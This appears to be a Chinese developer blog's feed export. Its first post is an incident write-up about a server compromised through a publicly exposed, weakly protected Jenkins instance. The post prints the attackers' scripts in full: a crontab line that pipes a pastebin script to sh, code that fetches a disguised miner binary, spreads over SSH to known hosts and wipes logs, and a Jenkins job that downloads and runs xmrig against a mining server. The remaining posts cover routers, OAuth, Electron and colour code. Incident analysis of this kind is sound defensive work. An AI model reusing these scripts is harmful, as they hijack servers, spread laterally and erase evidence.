    <content type="text"><![CDATA[记一次比特币病毒木马事件这两天开发同事突然反应代码无法上线,经排查是阿里云服务器不能正常git pull 代码. 开始排查.记录如下. 排查git第一感觉就是可能git问题,代码冲突. 1.手动pull 结果 :连接超时. 2.ping git.xxx.comgit.xxx.com 我们自建的git服务器,结果:git服务器正常.百思不得骑姐,本地git正常使用,其它服务器也正常使用.为什么从这台服务器访问不了22端口呢?考虑: 1,被git服务器防火墙加黑名单;2,这两天阿里云服务器抽风.主观直觉都是把坑扔给别人,谁让你们阿里云可用9999的. 3.排查git服务器关闭访问墙,查看黑名单都没有异常.因为git服务器是自建在内网.怀疑是联通又把我们的端口封了,这种事经常有.但使用外网其它服务器访问,都正常.所有把联通排除了.结论: git服务器正常. 所有矛头都指向了阿里云但在前一台晚上,重启一下服务器,竟然正常了.你说,阿里不背这个锅,谁背.今天也出问题了,也同样重启,发现不好使.想前几天阿里云监控报警短信,可能我们的服务器真的出问题了.第一感觉,我们没问题,是配置出问题了.于是乎,打开安全配置. 公网出,全OK.才想起来看消息,通知.妈呀,这是要炸啊!打开其中一条.阿里云把我们的对外22端口屏蔽了.怪不得安全设置都各种没有发现问题.原来是我们服务器在攻击了别人呀.就是中病毒了呗. 查毒进入服务器,病毒或木马最喜欢做的一件事,写定时脚本1crontab -e 妈呀,一条自动任务,在下载脚本运行呐1*/15 * * * * (curl -fsSL https://pastebin.com/raw/yPRSa0ki||wget -q -O- https://pastebin.com/raw/yPRSa0ki)|sh 先看文件是啥又下载另一个脚本,脚本内容长这样子 1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162export PATH=$PATH:/bin:/usr/bin:/sbin:/usr/local/bin:/usr/sbinecho "*/10 * * * * (curl -fsSL https://pastebin.com/raw/yPRSa0ki||wget -q -O- https://pastebin.com/raw/yPRSa0ki)|sh" | crontab -ps -ef|grep -v grep|grep hwlh3wlh44lh|awk '&#123;print $2&#125;'|xargs kill -9ps -ef|grep -v grep|grep Circle_MI|awk '&#123;print $2&#125;'|xargs kill -9ps -ef|grep -v grep|grep get.bi-chi.com|awk '&#123;print $2&#125;'|xargs kill -9ps -ef|grep -v grep|grep hashvault.pro|awk '&#123;print $2&#125;'|xargs kill -9ps -ef|grep -v grep|grep nanopool.org|awk '&#123;print $2&#125;'|xargs kill -9ps -ef|grep -v grep|grep /usr/bin/.sshd|awk '&#123;print $2&#125;'|xargs kill -9ps -ef|grep -v grep|grep /usr/bin/bsd-port|awk '&#123;print $2&#125;'|xargs kill -9ps -ef|grep -v grep|grep "xmr"|awk '&#123;print $2&#125;'|xargs kill -9ps -ef|grep -v grep|grep "xig"|awk '&#123;print $2&#125;'|xargs kill -9ps -ef|grep -v grep|grep "ddgs"|awk '&#123;print $2&#125;'|xargs kill -9ps -ef|grep -v grep|grep "qW3xT"|awk '&#123;print $2&#125;'|xargs kill -9ps -ef|grep -v grep|grep "wnTKYg"|awk '&#123;print $2&#125;'|xargs kill -9ps -ef|grep -v grep|grep "t00ls.ru"|awk '&#123;print $2&#125;'|xargs kill -9ps -ef|grep -v grep|grep "sustes"|awk '&#123;print $2&#125;'|xargs kill -9ps -ef|grep -v grep|grep "thisxxs"|awk '&#123;print $2&#125;' | xargs kill -9ps -ef|grep -v grep|grep "hashfish"|awk '&#123;print $2&#125;'|xargs kill -9ps -ef|grep -v grep|grep "kworkerds"|awk '&#123;print $2&#125;'|xargs kill -9ps -ef|grep -v grep|grep "watchdog"|awk '&#123;print $2&#125;'|xargs kill -9ps -ef|grep -v grep|grep "/tmp/devtool"|awk '&#123;print $2&#125;'|xargs kill -9ps -ef|grep -v grep|grep "systemctI"|awk '&#123;print $2&#125;'|xargs kill -9ps -ef|grep -v grep|grep "watchdogs"|awk '&#123;print $2&#125;'|xargs kill -9ps -ef|grep -v grep|grep "ksoftirqds"|awk '&#123;print $2&#125;'|xargs kill -9ps -ef|grep -v grep|grep "suolbcc"|awk '&#123;print $2&#125;'|xargs kill -9ps aux|grep -v grep|grep -v kintegrityds|awk '&#123;if($3&gt;=80.0) print $2&#125;'|xargs kill -9yum -y install coreutils||apt-get -y install coreutilsapt-get install cron -y||yum install crontabs -y||apk add cron -yif [ ! -f "/tmp/.lsdpid" ]; then ARCH=$(uname -m) if [ $&#123;ARCH&#125;x = "x86_64x" ]; then (curl -fsSL http://sowcar.com/t6/677/1551954043x2890211684.jpg -o /tmp/kthrotlds||wget -q http://sowcar.com/t6/677/1551954043x2890211684.jpg -O /tmp/kthrotlds) &amp;&amp; chmod +x /tmp/kthrotlds elif [ $&#123;ARCH&#125;x = "i686x" ]; then (curl -fsSL http://sowcar.com/t6/677/1551954069x2890211684.jpg -o /tmp/kthrotlds||wget -q http://sowcar.com/t6/677/1551954069x2890211684.jpg -O /tmp/kthrotlds) &amp;&amp; chmod +x /tmp/kthrotlds else (curl -fsSL http://sowcar.com/t6/677/1551954069x2890211684.jpg -o /tmp/kthrotlds||wget -q http://sowcar.com/t6/677/1551954069x2890211684.jpg -O /tmp/kthrotlds) &amp;&amp; chmod +x /tmp/kthrotlds fi nohup /tmp/kthrotlds &gt;/dev/null 2&gt;&amp;1 &amp;elif [ ! -f "/proc/$(cat /tmp/.lsdpid)/stat" ]; then ARCH=$(uname -m) if [ $&#123;ARCH&#125;x = "x86_64x" ]; then (curl -fsSL http://sowcar.com/t6/677/1551954043x2890211684.jpg -o /tmp/kthrotlds||wget -q http://sowcar.com/t6/677/1551954043x2890211684.jpg -O /tmp/kthrotlds) &amp;&amp; chmod +x /tmp/kthrotlds elif [ $&#123;ARCH&#125;x = "i686x" ]; then (curl -fsSL http://sowcar.com/t6/677/1551954069x2890211684.jpg -o /tmp/kthrotlds||wget -q http://sowcar.com/t6/677/1551954069x2890211684.jpg -O /tmp/kthrotlds) &amp;&amp; chmod +x /tmp/kthrotlds else (curl -fsSL http://sowcar.com/t6/677/1551954069x2890211684.jpg -o /tmp/kthrotlds||wget -q http://sowcar.com/t6/677/1551954069x2890211684.jpg -O /tmp/kthrotlds) &amp;&amp; chmod +x /tmp/kthrotlds fi nohup /tmp/kthrotlds &gt;/dev/null 2&gt;&amp;1 &amp;fiif [ -f /root/.ssh/known_hosts ] &amp;&amp; [ -f /root/.ssh/id_rsa.pub ]; then for h in $(grep -oE "\b([0-9]&#123;1,3&#125;\.)&#123;3&#125;[0-9]&#123;1,3&#125;\b" /root/.ssh/known_hosts); do ssh -oBatchMode=yes -oConnectTimeout=5 -oStrictHostKeyChecking=no $h '(curl -fsSL https://pastebin.com/raw/yPRSa0ki||wget -q -O- https://pastebin.com/raw/yPRSa0ki)|sh &gt;/dev/null 2&gt;&amp;1 &amp;' &amp; donefiecho 0&gt;/var/spool/mail/rootecho 0&gt;/var/log/wtmpecho 0&gt;/var/log/secureecho 0&gt;/var/log/cron# 就是下载脚本和文件,没有安装crontab就自动帮你安装,添加免密码登录等等. 那么 https://pastebin.com/ 是什么网站? 就是一个可以匿名在线使用的代码风格化工具,肯定木马使用者不会傻到拿自己服务器作脚本下载的.为什么是这个网站呢?1.可以匿名,记得国内有用豆瓣网做脚本的,查不到就怪了.2.可以使用Raw源代码输出; 随便一个人都可以在线写东西.所有到这里,基本上是找不到任何有用的东西. 找根源这脚本怎么来的?难道我们root密码泄漏了么?之前xshell被种后门,记忆犹新.我们也中招过.但怀疑是怀疑还得有根据.清空crontab后,又几分钟自动创建,完全清不掉呐. 查看对外网络情况1netstat 段错误,显示不全,这个netstat 可能查不了.换个方向,使用ss命令1ss 有两个明显的不熟悉的IP地址,因为我们服务IP地址少,一眼就能看出来异类的. 193.56.28.19134.209.104.20 这些端口都在变化,随机的:找到一个 ``` 12345![](http://img.hi-arkin.com/2019-03-08-15520487278687.jpg)查看一下进程.关键字 trace ./trace123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384搜索一下文件![](http://img.hi-arkin.com/2019-03-08-15520488808330.jpg)这不是jenkins的工作目录么.到这里我已经清楚来源了.jenkins是我布署的,我很清楚他的危害,想考侥幸混过去,等闲下来再去整理,没想到来得那么快.## Jenkins 自食其恶果![](http://img.hi-arkin.com/2019-03-08-15520491414252.jpg)登录jenkins后台,第一个任务就是这玩意,左下角任务不停的运行着.![](http://img.hi-arkin.com/2019-03-08-15520492031184.jpg)我们看一下,他都执行什么脚本.触发器![](http://img.hi-arkin.com/2019-03-08-15520492722210.jpg)每分钟运行一次,&quot;H&quot; 表示,hash.意思尽可能在每分钟内执行一个Job.执行完成,等下一分钟.看一下构建脚本![](http://img.hi-arkin.com/2019-03-08-15520495270442.jpg)贴一个完整的```bash#!/bin/bashif [[ $(whoami) != &quot;root&quot; ]]; then for tr in $(ps -U $(whoami) | egrep -v &quot;java|ps|sh|egrep|grep|PID&quot; | cut -b1-6); do kill -9 $tr || : ; done;else echo 128 &gt; /proc/sys/vm/nr_hugepages; sysctl -w vm.nr_hugepages=128;fithreadCount=$(lscpu | grep &apos;CPU(s)&apos; | grep -v &apos;,&apos; | awk &apos;&#123;print $2&#125;&apos; | head -n 1);hostHash=$(hostname -f | md5sum | cut -c1-8);echo &quot;$&#123;hostHash&#125; - $&#123;threadCount&#125;&quot;;_curl () &#123; read proto server path &lt;&lt;&lt;$(echo $&#123;1//// &#125;) DOC=/$&#123;path// //&#125; HOST=$&#123;server//:*&#125; PORT=$&#123;server//*:&#125; [[ x&quot;$&#123;HOST&#125;&quot; == x&quot;$&#123;PORT&#125;&quot; ]] &amp;&amp; PORT=80 exec 3&lt;&gt;/dev/tcp/$&#123;HOST&#125;/$PORT echo -en &quot;GET $&#123;DOC&#125; HTTP/1.0\r\nHost: $&#123;HOST&#125;\r\n\r\n&quot; &gt;&amp;3 (while read line; do [[ &quot;$line&quot; == $&apos;\r&apos; ]] &amp;&amp; break done &amp;&amp; cat) &lt;&amp;3 exec 3&gt;&amp;-&#125;rm -rf config.json;d () &#123; curl -L --insecure --connect-timeout 10 --max-time 55 --fail $1 -o $2 2&gt; /dev/null || wget --no-check-certificate --timeout 55 --tries 2 $1 -O $2 2&gt; /dev/null || _curl $1 &gt; $2;&#125;test ! -s trace &amp;&amp; \ d http://193.56.28.19:52343/xmrig.tar.gz trace.tgz trace.tgz &amp;&amp; \ tar -zxvf trace.tgz &amp;&amp; \ mv xmrig trace &amp;&amp; \ rm -rf trace.tgz;test ! -x trace &amp;&amp; chmod +x trace;k() &#123; ./trace \ -r 2 \ -R 2 \ --keepalive \ --no-color \ --nicehash \ --donate-level 0 \ --cpu-priority 3 \ --print-time 10 \ --threads $&#123;threadCount:-4&#125; \ --url $1 \ --user P \ --pass X \ --keepalive&#125;k 193.56.28.19:8080 || k 193.56.28.19:8080 开启代理服务这些都不是关键,关键是下载http://193.56.28.19:52343/xmrig.tar.gz这个文件.xmrig查一下就知道 这个就是比特币病毒.至此就结束了,剩下就是清空病毒,修改系统,最简单的方法,利用阿里云的镜像加回滚. 关于我们jenkin问题: 为了方便远程,我开启了公网访问 最关键还被搜索引擎收录了 管理员密码太简单了 为了方便运行脚本,把Jenkins的运行权限设太高 jenkin连接着所有服务器,攻破它就相当于攻破了城堡.]]></content>
      <categories>
        <category>DevOps</category>
      </categories>
      <tags>
        <tag>DevOps</tag>
        <tag>Linux</tag>
        <tag>Jekins</tag>
        <tag>xmrig</tag>
      </tags>
  </entry>
  <entry>
    <title><![CDATA[路由事件]]></title>
    <url>%2F2019%2F03%2F04%2FJavascript%2Frouterlister%2F</url>
    <content type="text"><![CDATA[浏览器路由监听事件“路由”在任何http框架占有最重要的角色,可以说每个那框架都离不开路由,路由就是框架的核心.如前端的框架,如前端框架Vue.js,React.js,AngularJS…PHP框架,Laravel,ThinkPhp,CI…等. 我们今天说的路由,指的前端框架的路由.因为对vue-router和react-router 4,以这两个路由来实现.主要的路由事件钩子有:Before,Resolve,After,[Before 前置]离开或进入路由,在页面渲染前 [Resolve 确认]路由已经进行完成,不能修改,不能结束,等待页面渲染结束. [After 后置]在页面渲染结束后发生. Before 前置事件就是门卫,”从哪儿来到哪儿去的问题”这门卫还可以给你瞎指路,引导你去.一般用来做权限验证的.通过有个全局”门卫”和小部门”门卫”. Vue:[参考]1234567891011const router = new VueRouter(&#123; ... &#125;)router.beforeEach((to, from, next) =&gt; &#123; // ... //to:去哪的路由信息 //from: 来至哪 //next : 门卫开门指路方法 // 如果没运行next函数,就是门卫懒得不理你. next();// 给开门了,路自己去找吧吧 next('/login');// 指引你去登记处&#125;) React:由于React路由中没有全局中间件,React所有都是组件.我们可以在根路由组件里面分别实现. 进入事件 离开事件一般在根组件里面,如监听componentWillReceiveProps事件监听.shouldComponentUpdate事件阻断. 123456789101112131415161718import React from 'react';import &#123; Route,Prompt &#125; from 'react-router-dom';class App extends React.Component &#123; // 进入事件 componentDidMount()&#123; let to=this.props.location let from=undefined; console.log(to,from); &#125; //离开事件 shouldComponentUpdate(nextProps, nextState)&#123; let to=this.props.location let from=nextProps.location; console.log(to.pathname,form.pathname); return true;// 开门 return false;// 不开门 &#125;&#125; 旧版本路由使用routerWillLeave监听.新版本react-router v4以后.使用Prompt,由于没有v2版本,这里只例举.Prompt的用法. 1234567891011121314151617181920212223242526import React from 'react';import &#123;Route, Redirect,Prompt&#125; from 'react-router-dom';class App extends React.Component &#123; render()&#123; const HomePage= ()=&gt;(&lt;div&gt;home&lt;/div&gt;); const LoginPage= ()=&gt;(&lt;div&gt;login&lt;/div&gt;); const NotFound= ()=&gt;(&lt;div&gt;404&lt;/div&gt;); return ( &lt;div id="APP"&gt; &lt;Prompt message=&#123;(to)=&gt;&#123; let from=this.props.location; console.log(to); return true;// 跳转 return false;// 不跳转 &#125;&#125; /&gt; &lt;Route exact path="/home" component=&#123;HomePage&#125;/&gt; &lt;Route exact path="/login" component=&#123;LoginPage&#125;/&gt; &lt;Route render=&#123;NotFound&#125; /&gt; &lt;/div&gt; ); &#125;&#125; React中的权限判断最好使用高阶组件来完成.如这样的写法 Resolve 渲染事件路由已经完成,正在准备渲染了.vue通过router.beforeResolve事件来实现.123router.beforeResolve((to, from, next) =&gt; &#123; // ...&#125;) React通过组件的生命周期来实现.render();1 React和Vue区在于,Vue的路由是独立的,而React是组件的;vue先执行完成路由事件,再去渲染组件,顺序是子路由–&gt;根路由;React是全部组件从,父级–&gt;子级; After 渲染事件vuevue可以通过,所有路由完成状态123router.afterEach((to, from) =&gt; &#123; // ...&#125;) react没有全局钩子,只能约定通过高阶组件来统一管理路由状态.很难避免直接使用componet的情况.]]></content>
      <categories>
        <category>Javascript</category>
      </categories>
      <tags>
        <tag>History</tag>
        <tag>Vue Router</tag>
        <tag>React Router</tag>
      </tags>
  </entry>
  <entry>
    <title><![CDATA[OAuth授权原理]]></title>
    <url>%2F2019%2F03%2F01%2FPHP%2Foauth%2F</url>
    <content type="text"><![CDATA[OAuth授权原理 OAuth第三开放平台授权 绕口令: 第3方用户想获取第1方用户在第2方上的权限.如JD的QQ,微信授权登录. 举个生活中的例子,就明白了.1小明要取他爸爸王叔叔在招商银行存的500块钱. 角色: 用户 (王叔叔) 平台 (招商银行) 第三方 (小明) 分解步骤: 小明 找 王叔叔 签 授权书 王叔叔 签 授权书 ,并给小明 银行卡 小明 拿着 授权书 和 银行卡 到招商银行 取钱 招商银行 先验证小明的身份 招商银行 确定小明的身份没问题后,再验证 授权书 的内容无误然后再把钱给小明 上面就是一个简单的第三方授权,可以算上Oauth1.0;支票系统,可以算上OAuth2.0 支票的样子: 支票系统不需要用户的银行卡及密码. 支票的基本内容:平台: 招商银行用户: 出票人账号和签名第三方: 收款人模式类型: 转账/现金权限: 金额和用途时间: 有效期,开票日期 支票 相当于 AccessToken AccessToken主要包含以下内容: 授权方 代理方(第三方) 授权权限内容 有效期限 支票系统肯定包含很多细节,如支票的防伪,防篡改,鉴别,有效性.有记名支票,不记名支票. Oauth2.0 交易流程如下. 解释:认证服务器,如QQ开放平台,微信平方平台,微博开放平台等.第三方平台,指我们开发的第三方应用,如论坛,商城等.可以使用微信微博登录.用户,需要用微信等去登录第三方平台的用户.权限,一般平台,授权第三方获取用户头像,昵称,手机号,也有操作,如支付,发微博,分享朋友圈等. OAuth2.0关键点,授权码code,授权凭证AccessToken.其它都是这些实现过程的中安全控制,边界控制,操作记录,性能优化,防伪方案,账号系统,权限管理等等.]]></content>
      <categories>
        <category>PHP</category>
      </categories>
      <tags>
        <tag>产品</tag>
      </tags>
  </entry>
  <entry>
    <title><![CDATA[History三种模hash,history,memory]]></title>
    <url>%2F2019%2F03%2F01%2FJavascript%2Frouter_history%2F</url>
    <content type="text"><![CDATA[JavaScript中History的三种模式区别 我们在前端做路由时,需要记录URL的历史.常见单页面,Vue,React应用]]></content>
      <categories>
        <category>Javascript</category>
      </categories>
      <tags>
        <tag>History</tag>
        <tag>Vue Router</tag>
        <tag>React Router</tag>
      </tags>
  </entry>
  <entry>
    <title><![CDATA[把故事讲好]]></title>
    <url>%2F2019%2F02%2F25%2FPM%2F2019-02-25%2F</url>
    <content type="text"><![CDATA[产品经理和导演(编剧)一样,需求会讲故事,把故事讲好. &lt;&lt;故事思维&gt;&gt;]]></content>
      <categories>
        <category>PM</category>
      </categories>
      <tags>
        <tag>产品经理</tag>
      </tags>
  </entry>
  <entry>
    <title><![CDATA[产品结构图,产品信息结构图,产品功能结构图]]></title>
    <url>%2F2019%2F02%2F22%2FProject%2Fmix%2F</url>
    <content type="text"><![CDATA[区分产品结构图,产品信息结构图,产品功能结构做项目中各种结构图经常弄混乱,导致权责不清楚.经常把自己”人格分裂”,同时充当很多角色.产品经理–项目经理–技术经理–架构师–研发工程师–UI设计–运维–运营–测试 结构图很多产品经理都没有做,只出需求文档,原型图.由于技术出生,习惯用理性的思想来做事,可以外脑来存储的,而不是感性的文字描述,有版本,可回归.除了给Boss看,尽量用excel,project,xmind来编写.反而注重结构,轻原型. 我喜欢的顺序是: 功能结构图 信息结构图 产品结构图/流程图 原型图/交互设计/UI设计/数据库设计/架构设计 任务计划安排/编写测试用例 开发 各结构图虽然有重复,但侧重点不一样. 功能结构图 作用: 梳理功能点 产品经理:罗列所有功能点及细节,如客户需求,老板需求,竞品功能,臆想的功能. 包含优先级,需求来源,注释 技术经理: 转化成任务,任务类型为功能,包含未完成,完成,关闭的功能,需要注明负责人,优先级,预期时间,开始时间,结束时间,依赖任务. 信息结构图 作用: 梳理所有信息数据与关系 数据库可以定信息类型,如布尔型,字符型,数据关联,字符长度 产品经理:罗列所有信息,要求 研发:定数据结构 产品结构作用: 展示所有功能,信息,交互综合之前功能结构,和信息结构,完善信息和功能,去掉不必要的功能和信息.补充那交互,设计图,原型图我认为产品结构是产品经理的最终产物,而不是某个网站,APP. Xmind的使用需求整理各种有理无理的需求,自己YY的需求等.草稿版使用xmind的灵感工具.如:]]></content>
      <categories>
        <category>Project</category>
      </categories>
      <tags>
        <tag>产品经理</tag>
        <tag>项目管理</tag>
      </tags>
  </entry>
  <entry>
    <title><![CDATA[electron生成pdf]]></title>
    <url>%2F2019%2F01%2F09%2FElectron%2Fconvert2pdf%2F</url>
    <content type="text"><![CDATA[electron生成pdf主要是html转pdf,pdf是打印用的文档,可以控制打印的格式.使用electron生成pdf的方式就很随意了.使用webview.toPDF(),NodeJS转化,NodeJS调用系统资源去生成都可以.下面主要讲 使用webview或webcontent生成PDF.注意:Electron的toPDF不支持页眉页脚设置.后面只能通过其它文案去修改页眉页脚了. 主要步骤 读取weburl 生成临时PDF文件 预览临时PDF 打印临时PDF 下载,上传PDF 读取URL在服务器使用php模板渲染生成html页面,写打印样式.统一使用A4纸标准.打印注意,请参考关于html打印相关文章. 下面都是基于electron-vue的代码.关键代码:]]></content>
      <categories>
        <category>NodeJs</category>
      </categories>
      <tags>
        <tag>Electron</tag>
        <tag>PDF</tag>
        <tag>Project</tag>
      </tags>
  </entry>
  <entry>
    <title><![CDATA[Doc电子报告研发]]></title>
    <url>%2F2019%2F01%2F09%2FElectron%2Freport%2F</url>
    <content type="text"><![CDATA[Doc电子报告研发过程这是记录一次电子报告研发过程,口水记录.项目中需要生成电子报告; 一切不讲实际场景的解决方案都是耍牛氓. 场景 类似ERP系统,需要生成电子报告; 需要私网部署; 电子报告格式复杂,内容包含:富文本,公式,特殊字符,表格,图片,分页涵盖Word的功能; 内容长度不限制; 后台服务器主要使用PHP开发,但不限制PHP,NodeJS,Pyhton,Java,C++都可以; 服务器主要使用CentOS7 线下主要通过修改使用Word模板生成报告; 使用Word打印; Word有良好打印格式支持; 电子报告是必须流程; 解决方案HTML转WORD方案通过html生成pdf或word,也研究过markdown转word.虽然能达到要求,但是由于前端html的使用分辨率px来计算,打印使用点pi来计算,很难精确控制页面样式. html转pdf的方案工具很多,文档格式的瑞士军刀pandoc,很多格式都可以转换官网:http://www.pandoc.org/在macos,window,linux下都可以安装使用.常用转换格式,看下图 虽然很强大,但生成文档质量差强人意,个人使用可以,客户很挑,有可能为了个空格折腾一星期都解决不了. PHPWord方案设想通过word模板生成word,设想很美好,现实很骨感.PHPOffice的GitHub:https://github.com/PHPOffice/PHPWord 选型阶段,测试了几个简单的模板,文本变量替换完全没问题,就匆匆使用了.经过几天试用,完全解决不了问题.问题: 分块没法复制 表格生成有问题 库Bug太多,很多千年bug没有修复 复制的数据结构完全就蒙逼了 打开文本写入会丢失原word样式 模板正则有问题,兼容性也存在问题. 文档太差,没法入手 Bug太多,有很多需要修改源码才能使用,时间紧就没有使用.迫切使用第二方案. 在线Word解析地址:http://www.xdocin.com这个云模板,支持很多数据结构,直接调用API就能使用,可以生成word,pdf.也是基于word模板变量替换方式来完成的.一些简单的结构还比较OK,格式不会丢失. 缺点和问题: 基于对象的模板变量,虽然可以支持多层结构的数据 ,但是有个缺点,就是不能跨页,如果数据量多超就显示不全. 对象就是Word”文本框”来实现. 无故多空白,串行等现象 无法支持运算 富文本不支持 公式不支持 图片很难调整 不支持私有布署 不开源,有问题只能面对黑洞 Python方案回到原点,PHPWord虽然可以能写入任意内容,但是质量效率都成问题.我们考虑使用其它语言方案,不能在一棵树上吊死.选择一门稍微快速入手的语言,Python.git:https://github.com/python-openxml/python-docx 通过python生成api,然后使用php去调用.python-docx,可以私有化布署,支持富文本与公式,调整样式等自定义操作. 缺点: 复增加杂度跨语言,维护难度增加 已经失去word模板的用处,基本上是创建word. 不能可视化,调整很复杂. 由于word的格式与html常用的富文本不一样,比如公式表达不一样.前端UI后word需要两套处理方案. 通过上面几次选型,决定再回归到最初html方案,直接导出PDF,不在生成word.减少复杂度. 需要解决问题: 报告生成 报告预览 UI和报告一至 减少复杂度 支持定制化的所有要求 浏览器兼容性 跨平台 因为ERP有大量打印需要,自定义打印内容,硬件交互,本地文件处理的需要.这次直接使用封装html方案,来避规这些问题,通过选型,我们使用了Electron方案. 参考后面&lt;&lt;electron生成pdf&gt;&gt;文章 WebOffice方案如果需要真正可被化在线编辑Word,只能使用在线文档编辑控件了.这个布署复杂,收费,难以自定义. 官方office online:https://products.office.com/zh-cn/office-online/documents-spreadsheets-presentations-office-online 服务器不跨不平台且收费,客户端跨平台免费使用. 这个方案,算是最后的稻草,基于能省则省的原则,到最后再尝试.]]></content>
      <categories>
        <category>NodeJs</category>
      </categories>
      <tags>
        <tag>Electron</tag>
        <tag>PDF</tag>
        <tag>Project</tag>
      </tags>
  </entry>
  <entry>
    <title><![CDATA[通过背景色设置文字颜色]]></title>
    <url>%2F2019%2F01%2F07%2FJavascript%2FisLight%2F</url>
    <content type="text"><![CDATA[通过背景色设置文字颜色 有这么一个需求,用户设置选择一个主题颜色,计算出背景色和文字颜色. 通过分析需求,需要最简单的实现方案,背景色和主题色,文字为背景色的对比色.对比色,可以简单的两种,黑或白色,根据背景色的明暗度使用白或黑. 获取色值的明暗度明暗度,通过两种色彩模式获取. PS中,HSV(HSB)色彩模式:H:色相 (0-360)S:饱和度 (0-100%)V:亮度 (0-100%) 在CSS中只支持HSL色彩模式:H:色相 (0-360)S:饱和度 (0-100%)L:明度 (0-100%) 纯红色:RGB(255,0,0)在不同色彩模式的表现. HSV,为0,100%,100% HSL,为0,100%,50% HSl更适合人类眼睛,通过观察我们只需要判断HSl色彩模式的L就可以了.L:50%时,使用明或暗都可以. 使用JS转换色值因为前端考虑兼容性,CSS常用两种色彩模式,RGB的十进制和十六进制.透明度暂时不考虑. HEX转RGB参考公式:__12345678910111213141516171819202122var colorRgb = function(sColor)&#123; sColor = sColor.toLowerCase(); //十六进制颜色值的正则表达式 var reg = /^#([0-9a-fA-f]&#123;3&#125;|[0-9a-fA-f]&#123;6&#125;)$/; // 如果是16进制颜色 if (sColor &amp;&amp; reg.test(sColor)) &#123; if (sColor.length === 4) &#123; var sColorNew = "#"; for (var i=1; i&lt;4; i+=1) &#123; sColorNew += sColor.slice(i, i+1).concat(sColor.slice(i, i+1)); &#125; sColor = sColorNew; &#125; //处理六位的颜色值 var sColorChange = []; for (var i=1; i&lt;7; i+=2) &#123; sColorChange.push(parseInt("0x"+sColor.slice(i, i+2))); &#125; return "RGB(" + sColorChange.join(",") + ")"; &#125; return sColor;&#125;; RGB转HSL参考网上的公式函数 12345678910111213141516171819202122232425262728293031/** * RGB 颜色值转换为 HSL. * 转换公式参考自 http://en.wikipedia.org/wiki/HSL_color_space. * r, g, 和 b 需要在 [0, 255] 范围内 * 返回的 h, s, 和 l 在 [0, 1] 之间 * * @param Number r 红色色值 * @param Number g 绿色色值 * @param Number b 蓝色色值 * @return Array HSL各值数组 */function rgbToHsl(r, g, b) &#123; r /= 255, g /= 255, b /= 255; var max = Math.max(r, g, b), min = Math.min(r, g, b); var h, s, l = (max + min) / 2; if (max == min)&#123; h = s = 0; // achromatic &#125; else &#123; var d = max - min; s = l &gt; 0.5 ? d / (2 - max - min) : d / (max + min); switch(max) &#123; case r: h = (g - b) / d + (g &lt; b ? 6 : 0); break; case g: h = (b - r) / d + 2; break; case b: h = (r - g) / d + 4; break; &#125; h /= 6; &#125; return [h, s, l];&#125; 明暗度判断明暗度是基于人眼的感光程度来的,可以选择一个舒适的取值范围,下面是我的人眼取值. 通过L值判断,在大于60左右为”亮”. 直接通过RGB值来判断也可,比值公式 (0.213 rgb[0] + 0.715 rgb[1] + 0.072 * rgb[2]) &gt;255/2 完成 项目中对色盘认识不够,不然可以取亲合一点的对比色,那就完美了. 我主要用于electron封装壳主题色改变,electron和web是两套系统,只能通过 html中的meta来获取web当前的主题,从而改变标题栏等颜色. html中: electron-vue中 mounted(): 12345678// themewebview.addEventListener('did-change-theme-color', (e,themeColor) =&gt; &#123; if(e.themeColor)&#123; this.theme=e.themeColor this.changeTheme(e.themeColor); &#125;&#125;); method()中 1234567891011121314151617181920212223242526272829303132333435363738394041changeTheme(themeColor)&#123; themeColor=themeColor.toLowerCase(); const reg = /^#([0-9a-fA-f]&#123;3&#125;|[0-9a-fA-f]&#123;6&#125;)$/; let rgbColor=[]; // 十六进制转换RGB if (reg.test(themeColor)) &#123; if (themeColor.length === 4) &#123; rgbColor[0]=parseInt("0x"+themeColor.substr(1,1)+themeColor.substr(1,1)+themeColor.substr(1,1)); rgbColor[1]=parseInt("0x"+themeColor.substr(2,1)+themeColor.substr(2,1)+themeColor.substr(2,1)); rgbColor[2]=parseInt("0x"+themeColor.substr(3,1)+themeColor.substr(3,1)+themeColor.substr(3,1)); &#125;else&#123; rgbColor[0]=parseInt("0x"+themeColor.substr(1,2)); rgbColor[1]=parseInt("0x"+themeColor.substr(2,2)); rgbColor[2]=parseInt("0x"+themeColor.substr(4,2)); &#125; &#125;else if(/^(rgb|RGB)/.test(themeColor))&#123; rgbColor = themeColor.replace(/(?:\(|\)|rgb|RGB)*/g, "").split(","); &#125; // 获取颜色明暗度 let isLight=false; if(rgbColor)&#123; let isLightValue =(0.213 * rgbColor[0] +0.715* rgbColor[1] +0.072 * rgbColor[2]); // 人眼明暗度 0.213,0.715,0.072 isLight=isLightValue &gt;155; //console.log(themeColor,isLightValue); &#125;else&#123; themeColor='#5b6270'; isLight=false; &#125; const TextColor=isLight?'#333':'#f5f5f5'; this.themeStyle=&#123; color:TextColor, background:themeColor &#125; &#125;]]></content>
      <categories>
        <category>Javascript</category>
      </categories>
      <tags>
        <tag>颜色</tag>
      </tags>
  </entry>
  <entry>
    <title><![CDATA[Electron Build 安装使用]]></title>
    <url>%2F2018%2F12%2F24%2FElectron%2Felectron-rebuild%2F</url>
    <content type="text"><![CDATA[Electron Build 安装使用NodeJs原生插件因为版本系统问题,需要重新编译. Electron环境下,最好固定版本,备份定指定版本数据,避免NPM或源被和谐.electron有快捷build方法. 依赖node,npm electron-rebuild官方文档(cn) 安装node-gyp参考: https://githnpmub.com/nodejs/node-gyp [window系统]window使用Windows-Build-Tools工具快捷安装各种依赖. powershell/cmd中安装,使用管理员方式运行123yarn global add windows-build-tools#或npm install windows-build-tools -g [MacOS]Mac默认有python2.7,只需要安装node-gyp123npm install node-gyp -g或yarn global add node-gyp 安装electron-rebuildGitHub 1npm install --save-dev electron-rebuild 运行编译 123./node_modules/.bin/electron-rebuild# 或windows.\node_modules\.bin\electron-rebuild.cmd 由于网络原因,尽量使用yarn.然而淘宝源不太干净,会导致各种神奇的原因.]]></content>
      <categories>
        <category>Electron</category>
      </categories>
      <tags>
        <tag>Electron</tag>
        <tag>NodeJs</tag>
      </tags>
  </entry>
  <entry>
    <title><![CDATA[Node获取Usb信息]]></title>
    <url>%2F2018%2F12%2F20%2FElectron%2Fusb%2F</url>
    <content type="text"><![CDATA[Node获取Usb信息MacOS获取Usb相关资料如果已经安装 lsusb 可以使用lsusb获取没有則使用 system_profiler SPUSBDataType Windows可以通过 Wmic获取]]></content>
      <categories>
        <category>NodeJs</category>
      </categories>
      <tags>
        <tag>Electron</tag>
        <tag>Node</tag>
      </tags>
